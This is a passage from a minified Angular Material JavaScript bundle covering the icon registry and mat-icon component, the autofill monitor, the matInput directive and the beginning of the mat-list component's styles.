"${We}".`)}function q(We){return Error(`The literal provided to MatIconRegistry was not trusted as safe HTML by Angular\'s DomSanitizer. Attempted literal was "${We}".`)}class we{constructor(xt,Be,pe){this.url=xt,this.svgText=Be,this.options=pe}}let ce=(()=>{class We{constructor(Be,pe,P,w){this._httpClient=Be,this._sanitizer=pe,this._errorHandler=w,this._svgIconConfigs=new Map,this._iconSetConfigs=new Map,this._cachedIconsByUrl=new Map,this._inProgressUrlFetches=new Map,this._fontCssClassesByAlias=new Map,this._resolvers=[],this._defaultFontSetClass=["material-icons","mat-ligature-font"],this._document=P}addSvgIcon(Be,pe,P){return this.addSvgIconInNamespace("",Be,pe,P)}addSvgIconLiteral(Be,pe,P){return this.addSvgIconLiteralInNamespace("",Be,pe,P)}addSvgIconInNamespace(Be,pe,P,w){return this._addSvgIconConfig(Be,pe,new we(P,null,w))}addSvgIconResolver(Be){return this._resolvers.push(Be),this}addSvgIconLiteralInNamespace(Be,pe,P,w){const R=this._sanitizer.sanitize(n.q3G.HTML,P);if(!R)throw q(P);const X=k(R);return this._addSvgIconConfig(Be,pe,new we("",X,w))}addSvgIconSet(Be,pe){return this.addSvgIconSetInNamespace("",Be,pe)}addSvgIconSetLiteral(Be,pe){return this.addSvgIconSetLiteralInNamespace("",Be,pe)}addSvgIconSetInNamespace(Be,pe,P){return this._addSvgIconSetConfig(Be,new we(pe,null,P))}addSvgIconSetLiteralInNamespace(Be,pe,P){const w=this._sanitizer.sanitize(n.q3G.HTML,pe);if(!w)throw q(pe);const R=k(w);return this._addSvgIconSetConfig(Be,new we("",R,P))}registerFontClassAlias(Be,pe=Be){return this._fontCssClassesByAlias.set(Be,pe),this}classNameForFontAlias(Be){return this._fontCssClassesByAlias.get(Be)||Be}setDefaultFontSetClass(...Be){return this._defaultFontSetClass=Be,this}getDefaultFontSetClass(){return this._defaultFontSetClass}getSvgIconFromUrl(Be){const pe=this._sanitizer.sanitize(n.q3G.RESOURCE_URL,Be);if(!pe)throw ee(Be);const P=this._cachedIconsByUrl.get(pe);return P?(0,c.of)(le(P)):this._loadSvgIconFromConfig(new we(Be,null)).pipe((0,S.b)(w=>this._cachedIconsByUrl.set(pe,w)),(0,g.U)(w=>le(w)))}getNamedSvgIcon(Be,pe=""){const P=Oe(pe,Be);let w=this._svgIconConfigs.get(P);if(w)return this._getSvgFromConfig(w);if(w=this._getIconConfigFromResolvers(pe,Be),w)return this._svgIconConfigs.set(P,w),this._getSvgFromConfig(w);const R=this._iconSetConfigs.get(pe);return R?this._getSvgFromIconSetConfigs(Be,R):(0,f._)(K(P))}ngOnDestroy(){this._resolvers=[],this._svgIconConfigs.clear(),this._iconSetConfigs.clear(),this._cachedIconsByUrl.clear()}_getSvgFromConfig(Be){return Be.svgText?(0,c.of)(le(this._svgElementFromConfig(Be))):this._loadSvgIconFromConfig(Be).pipe((0,g.U)(pe=>le(pe)))}_getSvgFromIconSetConfigs(Be,pe){const P=this._extractIconWithNameFromAnySet(Be,pe);if(P)return(0,c.of)(P);const w=pe.filter(R=>!R.svgText).map(R=>this._loadSvgIconSetFromConfig(R).pipe((0,C.K)(X=>{const ct=`Loading icon set URL: ${this._sanitizer.sanitize(n.q3G.RESOURCE_URL,R.url)} failed: ${X.message}`;return this._errorHandler.handleError(new Error(ct)),(0,c.of)(null)})));return(0,E.D)(w).pipe((0,g.U)(()=>{const R=this._extractIconWithNameFromAnySet(Be,pe);if(!R)throw K(Be);return R}))}_extractIconWithNameFromAnySet(Be,pe){for(let P=pe.length-1;P>=0;P--){const w=pe[P];if(w.svgText&&w.svgText.toString().indexOf(Be)>-1){const R=this._svgElementFromConfig(w),X=this._extractSvgIconFromSet(R,Be,w.options);if(X)return X}}return null}_loadSvgIconFromConfig(Be){return this._fetchIcon(Be).pipe((0,S.b)(pe=>Be.svgText=pe),(0,g.U)(()=>this._svgElementFromConfig(Be)))}_loadSvgIconSetFromConfig(Be){return Be.svgText?(0,c.of)(null):this._fetchIcon(Be).pipe((0,S.b)(pe=>Be.svgText=pe))}_extractSvgIconFromSet(Be,pe,P){const w=Be.querySelector(`[id="${pe}"]`);if(!w)return null;const R=w.cloneNode(!0);if(R.removeAttribute("id"),"svg"===R.nodeName.toLowerCase())return this._setSvgAttributes(R,P);if("symbol"===R.nodeName.toLowerCase())return this._setSvgAttributes(this._toSvgElement(R),P);const X=this._svgElementFromString(k("<svg></svg>"));return X.appendChild(R),this._setSvgAttributes(X,P)}_svgElementFromString(Be){const pe=this._document.createElement("DIV");pe.innerHTML=Be;const P=pe.querySelector("svg");if(!P)throw Error("<svg> tag not found");return P}_toSvgElement(Be){const pe=this._svgElementFromString(k("<svg></svg>")),P=Be.attributes;for(let w=0;w<P.length;w++){const{name:R,value:X}=P[w];"id"!==R&&pe.setAttribute(R,X)}for(let w=0;w<Be.childNodes.length;w++)Be.childNodes[w].nodeType===this._document.ELEMENT_NODE&&pe.appendChild(Be.childNodes[w].cloneNode(!0));return pe}_setSvgAttributes(Be,pe){return Be.setAttribute("fit",""),Be.setAttribute("height","100%"),Be.setAttribute("width","100%"),Be.setAttribute("preserveAspectRatio","xMidYMid meet"),Be.setAttribute("focusable","false"),pe&&pe.viewBox&&Be.setAttribute("viewBox",pe.viewBox),Be}_fetchIcon(Be){const{url:pe,options:P}=Be,w=P?.withCredentials??!1;if(!this._httpClient)throw function se(){return Error("Could not find HttpClient provider for use with Angular Material icons. Please include the HttpClientModule from @angular/common/http in your app imports.")}();if(null==pe)throw Error(`Cannot fetch icon from URL "${pe}".`);const R=this._sanitizer.sanitize(n.q3G.RESOURCE_URL,pe);if(!R)throw ee(pe);const X=this._inProgressUrlFetches.get(R);if(X)return X;const _e=this._httpClient.get(R,{responseType:"text",withCredentials:w}).pipe((0,g.U)(ct=>k(ct)),(0,z.x)(()=>this._inProgressUrlFetches.delete(R)),(0,H.B)());return this._inProgressUrlFetches.set(R,_e),_e}_addSvgIconConfig(Be,pe,P){return this._svgIconConfigs.set(Oe(Be,pe),P),this}_addSvgIconSetConfig(Be,pe){const P=this._iconSetConfigs.get(Be);return P?P.push(pe):this._iconSetConfigs.set(Be,[pe]),this}_svgElementFromConfig(Be){if(!Be.svgElement){const pe=this._svgElementFromString(Be.svgText);this._setSvgAttributes(pe,Be.options),Be.svgElement=pe}return Be.svgElement}_getIconConfigFromResolvers(Be,pe){for(let P=0;P<this._resolvers.length;P++){const w=this._resolvers[P](pe,Be);if(w)return Qe(w)?new we(w.url,null,w.options):new we(w,null)}}}return We.\\u0275fac=function(Be){return new(Be||We)(n.LFG(U.eN,8),n.LFG(G.H7),n.LFG(u.K0,8),n.LFG(n.qLn))},We.\\u0275prov=n.Yz7({token:We,factory:We.\\u0275fac,providedIn:"root"}),We})();function le(We){return We.cloneNode(!0)}function Oe(We,xt){return We+":"+xt}function Qe(We){return!(!We.url||!We.options)}const Ye=(0,a.pj)(class{constructor(We){this._elementRef=We}}),qe=new n.OlP("MAT_ICON_DEFAULT_OPTIONS"),Ke=new n.OlP("mat-icon-location",{providedIn:"root",factory:function dt(){const We=(0,n.f3M)(u.K0),xt=We?We.location:null;return{getPathname:()=>xt?xt.pathname+xt.search:""}}}),bt=["clip-path","color-profile","src","cursor","fill","filter","marker","marker-start","marker-mid","marker-end","mask","stroke"],ze=bt.map(We=>`[${We}]`).join(", "),De=/^url\\([\'"]?#(.*?)[\'"]?\\)$/;let re=(()=>{class We extends Ye{constructor(Be,pe,P,w,R,X){super(Be),this._iconRegistry=pe,this._location=w,this._errorHandler=R,this._inline=!1,this._previousFontSetClass=[],this._currentIconFetch=_.w.EMPTY,X&&(X.color&&(this.color=this.defaultColor=X.color),X.fontSet&&(this.fontSet=X.fontSet)),P||Be.nativeElement.setAttribute("aria-hidden","true")}get inline(){return this._inline}set inline(Be){this._inline=(0,s.Ig)(Be)}get svgIcon(){return this._svgIcon}set svgIcon(Be){Be!==this._svgIcon&&(Be?this._updateSvgIcon(Be):this._svgIcon&&this._clearSvgElement(),this._svgIcon=Be)}get fontSet(){return this._fontSet}set fontSet(Be){const pe=this._cleanupFontValue(Be);pe!==this._fontSet&&(this._fontSet=pe,this._updateFontIconClasses())}get fontIcon(){return this._fontIcon}set fontIcon(Be){const pe=this._cleanupFontValue(Be);pe!==this._fontIcon&&(this._fontIcon=pe,this._updateFontIconClasses())}_splitIconName(Be){if(!Be)return["",""];const pe=Be.split(":");switch(pe.length){case 1:return["",pe[0]];case 2:return pe;default:throw Error(`Invalid icon name: "${Be}"`)}}ngOnInit(){this._updateFontIconClasses()}ngAfterViewChecked(){const Be=this._elementsWithExternalReferences;if(Be&&Be.size){const pe=this._location.getPathname();pe!==this._previousPath&&(this._previousPath=pe,this._prependPathToReferences(pe))}}ngOnDestroy(){this._currentIconFetch.unsubscribe(),this._elementsWithExternalReferences&&this._elementsWithExternalReferences.clear()}_usingFontIcon(){return!this.svgIcon}_setSvgElement(Be){this._clearSvgElement();const pe=this._location.getPathname();this._previousPath=pe,this._cacheChildrenWithExternalReferences(Be),this._prependPathToReferences(pe),this._elementRef.nativeElement.appendChild(Be)}_clearSvgElement(){const Be=this._elementRef.nativeElement;let pe=Be.childNodes.length;for(this._elementsWithExternalReferences&&this._elementsWithExternalReferences.clear();pe--;){const P=Be.childNodes[pe];(1!==P.nodeType||"svg"===P.nodeName.toLowerCase())&&P.remove()}}_updateFontIconClasses(){if(!this._usingFontIcon())return;const Be=this._elementRef.nativeElement,pe=(this.fontSet?this._iconRegistry.classNameForFontAlias(this.fontSet).split(/ +/):this._iconRegistry.getDefaultFontSetClass()).filter(P=>P.length>0);this._previousFontSetClass.forEach(P=>Be.classList.remove(P)),pe.forEach(P=>Be.classList.add(P)),this._previousFontSetClass=pe,this.fontIcon!==this._previousFontIconClass&&!pe.includes("mat-ligature-font")&&(this._previousFontIconClass&&Be.classList.remove(this._previousFontIconClass),this.fontIcon&&Be.classList.add(this.fontIcon),this._previousFontIconClass=this.fontIcon)}_cleanupFontValue(Be){return"string"==typeof Be?Be.trim().split(" ")[0]:Be}_prependPathToReferences(Be){const pe=this._elementsWithExternalReferences;pe&&pe.forEach((P,w)=>{P.forEach(R=>{w.setAttribute(R.name,`url(\'${Be}#${R.value}\')`)})})}_cacheChildrenWithExternalReferences(Be){const pe=Be.querySelectorAll(ze),P=this._elementsWithExternalReferences=this._elementsWithExternalReferences||new Map;for(let w=0;w<pe.length;w++)bt.forEach(R=>{const X=pe[w],_e=X.getAttribute(R),ct=_e?_e.match(De):null;if(ct){let Je=P.get(X);Je||(Je=[],P.set(X,Je)),Je.push({name:R,value:ct[1]})}})}_updateSvgIcon(Be){if(this._svgNamespace=null,this._svgName=null,this._currentIconFetch.unsubscribe(),Be){const[pe,P]=this._splitIconName(Be);pe&&(this._svgNamespace=pe),P&&(this._svgName=P),this._currentIconFetch=this._iconRegistry.getNamedSvgIcon(P,pe).pipe((0,j.q)(1)).subscribe(w=>this._setSvgElement(w),w=>{this._errorHandler.handleError(new Error(`Error retrieving icon ${pe}:${P}! ${w.message}`))})}}}return We.\\u0275fac=function(Be){return new(Be||We)(n.Y36(n.SBq),n.Y36(ce),n.$8M("aria-hidden"),n.Y36(Ke),n.Y36(n.qLn),n.Y36(qe,8))},We.\\u0275cmp=n.Xpm({type:We,selectors:[["mat-icon"]],hostAttrs:["role","img",1,"mat-icon","notranslate"],hostVars:8,hostBindings:function(Be,pe){2&Be&&(n.uIk("data-mat-icon-type",pe._usingFontIcon()?"font":"svg")("data-mat-icon-name",pe._svgName||pe.fontIcon)("data-mat-icon-namespace",pe._svgNamespace||pe.fontSet)("fontIcon",pe._usingFontIcon()?pe.fontIcon:null),n.ekj("mat-icon-inline",pe.inline)("mat-icon-no-color","primary"!==pe.color&&"accent"!==pe.color&&"warn"!==pe.color))},inputs:{color:"color",inline:"inline",svgIcon:"svgIcon",fontSet:"fontSet",fontIcon:"fontIcon"},exportAs:["matIcon"],features:[n.qOj],ngContentSelectors:Q,decls:1,vars:0,template:function(Be,pe){1&Be&&(n.F$t(),n.Hsn(0))},styles:[".mat-icon{-webkit-user-select:none;user-select:none;background-repeat:no-repeat;display:inline-block;fill:currentColor;height:24px;width:24px;overflow:hidden}.mat-icon.mat-icon-inline{font-size:inherit;height:inherit;line-height:inherit;width:inherit}.mat-icon.mat-ligature-font[fontIcon]::before{content:attr(fontIcon)}[dir=rtl] .mat-icon-rtl-mirror{transform:scale(-1, 1)}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon{display:block}.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field:not(.mat-form-field-appearance-legacy) .mat-form-field-suffix .mat-icon-button .mat-icon{margin:auto}"],encapsulation:2,changeDetection:0}),We})(),ve=(()=>{class We{}return We.\\u0275fac=function(Be){return new(Be||We)},We.\\u0275mod=n.oAB({type:We}),We.\\u0275inj=n.cJS({imports:[a.BQ,a.BQ]}),We})()},4144:(At,ae,d)=>{"use strict";d.d(ae,{Jk:()=>U,Nt:()=>Ce,c:()=>k});var n=d(1281),a=d(3353),s=d(4650),u=d(8896),c=d(8929);const f=(0,a.i$)({passive:!0});let E=(()=>{class K{constructor(ee,q){this._platform=ee,this._ngZone=q,this._monitoredElements=new Map}monitor(ee){if(!this._platform.isBrowser)return u.E;const q=(0,n.fI)(ee),we=this._monitoredElements.get(q);if(we)return we.subject;const ce=new c.xQ,je="cdk-text-field-autofilled",Ze=le=>{"cdk-text-field-autofill-start"!==le.animationName||q.classList.contains(je)?"cdk-text-field-autofill-end"===le.animationName&&q.classList.contains(je)&&(q.classList.remove(je),this._ngZone.run(()=>ce.next({target:le.target,isAutofilled:!1}))):(q.classList.add(je),this._ngZone.run(()=>ce.next({target:le.target,isAutofilled:!0})))};return this._ngZone.runOutsideAngular(()=>{q.addEventListener("animationstart",Ze,f),q.classList.add("cdk-text-field-autofill-monitored")}),this._monitoredElements.set(q,{subject:ce,unlisten:()=>{q.removeEventListener("animationstart",Ze,f)}}),ce}stopMonitoring(ee){const q=(0,n.fI)(ee),we=this._monitoredElements.get(q);we&&(we.unlisten(),we.subject.complete(),q.classList.remove("cdk-text-field-autofill-monitored"),q.classList.remove("cdk-text-field-autofilled"),this._monitoredElements.delete(q))}ngOnDestroy(){this._monitoredElements.forEach((ee,q)=>this.stopMonitoring(q))}}return K.\\u0275fac=function(ee){return new(ee||K)(s.LFG(a.t4),s.LFG(s.R0b))},K.\\u0275prov=s.Yz7({token:K,factory:K.\\u0275fac,providedIn:"root"}),K})(),g=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=s.oAB({type:K}),K.\\u0275inj=s.cJS({}),K})();var C=d(4006),z=d(3238),H=d(9549);const U=new s.OlP("MAT_INPUT_VALUE_ACCESSOR"),G=["button","checkbox","file","hidden","image","radio","range","reset","submit"];let Q=0;const oe=(0,z.FD)(class{constructor(K,se,ee,q){this._defaultErrorStateMatcher=K,this._parentForm=se,this._parentFormGroup=ee,this.ngControl=q,this.stateChanges=new c.xQ}});let Ce=(()=>{class K extends oe{constructor(ee,q,we,ce,je,Ze,le,Oe,Qe,Ye){super(Ze,ce,je,we),this._elementRef=ee,this._platform=q,this._autofillMonitor=Oe,this._formField=Ye,this._uid="mat-input-"+Q++,this.focused=!1,this.stateChanges=new c.xQ,this.controlType="mat-input",this.autofilled=!1,this._disabled=!1,this._type="text",this._readonly=!1,this._neverEmptyInputTypes=["date","datetime","datetime-local","month","time","week"].filter(dt=>(0,a.qK)().has(dt)),this._iOSKeyupListener=dt=>{const bt=dt.target;!bt.value&&0===bt.selectionStart&&0===bt.selectionEnd&&(bt.setSelectionRange(1,1),bt.setSelectionRange(0,0))};const qe=this._elementRef.nativeElement,Ke=qe.nodeName.toLowerCase();this._inputValueAccessor=le||qe,this._previousNativeValue=this.value,this.id=this.id,q.IOS&&Qe.runOutsideAngular(()=>{ee.nativeElement.addEventListener("keyup",this._iOSKeyupListener)}),this._isServer=!this._platform.isBrowser,this._isNativeSelect="select"===Ke,this._isTextarea="textarea"===Ke,this._isInFormField=!!Ye,this._isNativeSelect&&(this.controlType=qe.multiple?"mat-native-select-multiple":"mat-native-select")}get disabled(){return this.ngControl&&null!==this.ngControl.disabled?this.ngControl.disabled:this._disabled}set disabled(ee){this._disabled=(0,n.Ig)(ee),this.focused&&(this.focused=!1,this.stateChanges.next())}get id(){return this._id}set id(ee){this._id=ee||this._uid}get required(){return this._required??this.ngControl?.control?.hasValidator(C.kI.required)??!1}set required(ee){this._required=(0,n.Ig)(ee)}get type(){return this._type}set type(ee){this._type=ee||"text",this._validateType(),!this._isTextarea&&(0,a.qK)().has(this._type)&&(this._elementRef.nativeElement.type=this._type)}get value(){return this._inputValueAccessor.value}set value(ee){ee!==this.value&&(this._inputValueAccessor.value=ee,this.stateChanges.next())}get readonly(){return this._readonly}set readonly(ee){this._readonly=(0,n.Ig)(ee)}ngAfterViewInit(){this._platform.isBrowser&&this._autofillMonitor.monitor(this._elementRef.nativeElement).subscribe(ee=>{this.autofilled=ee.isAutofilled,this.stateChanges.next()})}ngOnChanges(){this.stateChanges.next()}ngOnDestroy(){this.stateChanges.complete(),this._platform.isBrowser&&this._autofillMonitor.stopMonitoring(this._elementRef.nativeElement),this._platform.IOS&&this._elementRef.nativeElement.removeEventListener("keyup",this._iOSKeyupListener)}ngDoCheck(){this.ngControl&&this.updateErrorState(),this._dirtyCheckNativeValue(),this._dirtyCheckPlaceholder()}focus(ee){this._elementRef.nativeElement.focus(ee)}_focusChanged(ee){ee!==this.focused&&(this.focused=ee,this.stateChanges.next())}_onInput(){}_dirtyCheckPlaceholder(){const ee=this._formField,q=ee&&"legacy"===ee.appearance&&!ee._hasLabel?.()?null:this.placeholder;if(q!==this._previousPlaceholder){const we=this._elementRef.nativeElement;this._previousPlaceholder=q,q?we.setAttribute("placeholder",q):we.removeAttribute("placeholder")}}_dirtyCheckNativeValue(){const ee=this._elementRef.nativeElement.value;this._previousNativeValue!==ee&&(this._previousNativeValue=ee,this.stateChanges.next())}_validateType(){G.indexOf(this._type)}_isNeverEmpty(){return this._neverEmptyInputTypes.indexOf(this._type)>-1}_isBadInput(){let ee=this._elementRef.nativeElement.validity;return ee&&ee.badInput}get empty(){return!(this._isNeverEmpty()||this._elementRef.nativeElement.value||this._isBadInput()||this.autofilled)}get shouldLabelFloat(){if(this._isNativeSelect){const ee=this._elementRef.nativeElement,q=ee.options[0];return this.focused||ee.multiple||!this.empty||!!(ee.selectedIndex>-1&&q&&q.label)}return this.focused||!this.empty}setDescribedByIds(ee){ee.length?this._elementRef.nativeElement.setAttribute("aria-describedby",ee.join(" ")):this._elementRef.nativeElement.removeAttribute("aria-describedby")}onContainerClick(){this.focused||this.focus()}_isInlineSelect(){const ee=this._elementRef.nativeElement;return this._isNativeSelect&&(ee.multiple||ee.size>1)}}return K.\\u0275fac=function(ee){return new(ee||K)(s.Y36(s.SBq),s.Y36(a.t4),s.Y36(C.a5,10),s.Y36(C.F,8),s.Y36(C.sg,8),s.Y36(z.rD),s.Y36(U,10),s.Y36(E),s.Y36(s.R0b),s.Y36(H.G_,8))},K.\\u0275dir=s.lG2({type:K,selectors:[["input","matInput",""],["textarea","matInput",""],["select","matNativeControl",""],["input","matNativeControl",""],["textarea","matNativeControl",""]],hostAttrs:[1,"mat-input-element","mat-form-field-autofill-control"],hostVars:12,hostBindings:function(ee,q){1&ee&&s.NdJ("focus",function(){return q._focusChanged(!0)})("blur",function(){return q._focusChanged(!1)})("input",function(){return q._onInput()}),2&ee&&(s.Ikx("disabled",q.disabled)("required",q.required),s.uIk("id",q.id)("data-placeholder",q.placeholder)("name",q.name||null)("readonly",q.readonly&&!q._isNativeSelect||null)("aria-invalid",q.empty&&q.required?null:q.errorState)("aria-required",q.required),s.ekj("mat-input-server",q._isServer)("mat-native-select-inline",q._isInlineSelect()))},inputs:{disabled:"disabled",id:"id",placeholder:"placeholder",name:"name",required:"required",type:"type",errorStateMatcher:"errorStateMatcher",userAriaDescribedBy:["aria-describedby","userAriaDescribedBy"],value:"value",readonly:"readonly"},exportAs:["matInput"],features:[s._Bn([{provide:H.Eo,useExisting:K}]),s.qOj,s.TTD]}),K})(),k=(()=>{class K{}return K.\\u0275fac=function(ee){return new(ee||K)},K.\\u0275mod=s.oAB({type:K}),K.\\u0275inj=s.cJS({providers:[z.rD],imports:[g,H.lN,z.BQ,g,H.lN]}),K})()},6338:(At,ae,d)=>{"use strict";d.d(ae,{Hk:()=>we,Nh:()=>Ze,Tg:()=>Oe,gs:()=>le,ie:()=>ze});var n=d(6895),a=d(4650),s=d(3238),u=d(1281),c=d(8929),f=d(7625),z=(d(1059),d(2687),d(5017),d(9521),d(4006),d(8729));const H=["*"],U=[[["","mat-list-avatar",""],["","mat-list-icon",""],["","matListAvatar",""],["","matListIcon",""]],[["","mat-line",""],["","matLine",""]],"*"],G=["[mat-list-avatar], [mat-list-icon], [matListAvatar], [matListIcon]","[mat-line], [matLine]","*"],K=(0,s.Id)((0,s.Kr)(class{})),se=(0,s.Kr)(class{}),ee=new a.OlP("MatList"),q=new a.OlP("MatNavList");let we=(()=>{class De extends K{constructor(){super(...arguments),this._stateChanges=new c.xQ}ngOnChanges(){this._stateChanges.next()}ngOnDestroy(){this._stateChanges.complete()}}return De.\\u0275fac=function(){let re;return function(We){return(re||(re=a.n5z(De)))(We||De)}}(),De.\\u0275cmp=a.Xpm({type:De,selectors:[["mat-nav-list"]],hostAttrs:["role","navigation",1,"mat-nav-list","mat-list-base"],inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matNavList"],features:[a._Bn([{provide:q,useExisting:De}]),a.qOj,a.TTD],ngContentSelectors:H,decls:1,vars:0,template:function(ve,We){1&ve&&(a.F$t(),a.Hsn(0))},styles:[\'.mat-subheader{display:flex;box-sizing:border-box;padding:16px;align-items:center}.mat-list-base .mat-subheader{margin:0}button.mat-list-item,button.mat-list-option{padding:0;width:100%;background:none;color:inherit;border:none;outline:inherit;-webkit-tap-highlight-color:rgba(0,0,0,0);text-align:left}[dir=rtl] button.mat-list-item,[dir=rtl] button.mat-list-option{text-align:right}button.mat-list-item::-moz-focus-inner,button.mat-list-option::-moz-focus-inner{border:0}.mat-list-base{padding-top:8px;display:block;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-list-base .mat-subheader{height:48px;line-height:16px}.mat-list-base .mat-subheader:first-child{margin-top:-8px}.mat-list-base .mat-list-item,.mat-list-base .mat-list-option{display:block;height:48px;-webkit-tap-highlight-color:rgba(0,0,0,0);width:100%;padding:0}.mat-list-base .mat-list-item .mat-list-item-content,.mat-list-base .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base .mat-list-item .mat-list-item-content-reverse,.mat-list-base .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base .mat-list-item .mat-list-item-ripple,.mat-list-base .mat-list-option .mat-list-item-ripple{display:block;top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar,.mat-list-base .mat-list-option.mat-list-item-with-avatar{height:56px}.mat-list-base .mat-list-item.mat-2-line,.mat-list-base .mat-list-option.mat-2-line{height:72px}.mat-list-base .mat-list-item.mat-3-line,.mat-list-base .mat-list-option.mat-3-line{height:88px}.mat-list-base .mat-list-item.mat-multi-line,.mat-list-base .mat-list-option.mat-multi-line{height:auto}.mat-list-base .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base .mat-list-item .mat-list-text,.mat-list-base .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base .mat-list-item .mat-list-text>*,.mat-list-base .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base .mat-list-item .mat-list-text:empty,.mat-list-base .mat-list-option .mat-list-text:empty{display:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base .mat-list-item .mat-list-avatar,.mat-list-base .mat-list-option .mat-list-avatar{flex-shrink:0;width:40px;height:40px;border-radius:50%;object-fit:cover}.mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:72px;width:calc(100% - 72px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:72px}.mat-list-base .mat-list-item .mat-list-icon,.mat-list-base .mat-list-option .mat-list-icon{flex-shrink:0;width:24px;height:24px;font-size:24px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:64px;width:calc(100% - 64px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:64px}.mat-list-base .mat-list-item .mat-divider,.mat-list-base .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base .mat-list-item .mat-divider,[dir=rtl] .mat-list-base .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-list-base[dense]{padding-top:4px;display:block}.mat-list-base[dense] .mat-subheader{height:40px;line-height:8px}.mat-list-base[dense] .mat-subheader:first-child{margin-top:-4px}.mat-list-base[dense] .mat-list-item,.mat-list-base[dense] .mat-list-option{display:block;height:40px;-webkit-tap-highlight-color:rgba(0,0,0,0);width:100%;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-item-content,.mat-list-base[dense] .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base[dense] .mat-list-item .mat-list-item-content-reverse,.mat-list-base[dense] .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base[dense] .mat-list-item .mat-list-item-ripple,.mat-list-base[dense] .mat-list-option .mat-list-item-ripple{display:block;top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar{height:48px}.mat-list-base[dense] .mat-list-item.mat-2-line,.mat-list-base[dense] .mat-list-option.mat-2-line{height:60px}.mat-list-base[dense] .mat-list-item.mat-3-line,.mat-list-base[dense] .mat-list-option.mat-3-line{height:76px}.mat-list-base[dense] .mat-list-item.mat-multi-line,.mat-list-base[dense] .mat-list-option.mat-multi-line{height:auto}.mat-list-base[dense] .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base[dense] .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base[dense] .mat-list-item .mat-list-text,.mat-list-base[dense] .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-text>*,.mat-list-base[dense] .mat-list-option 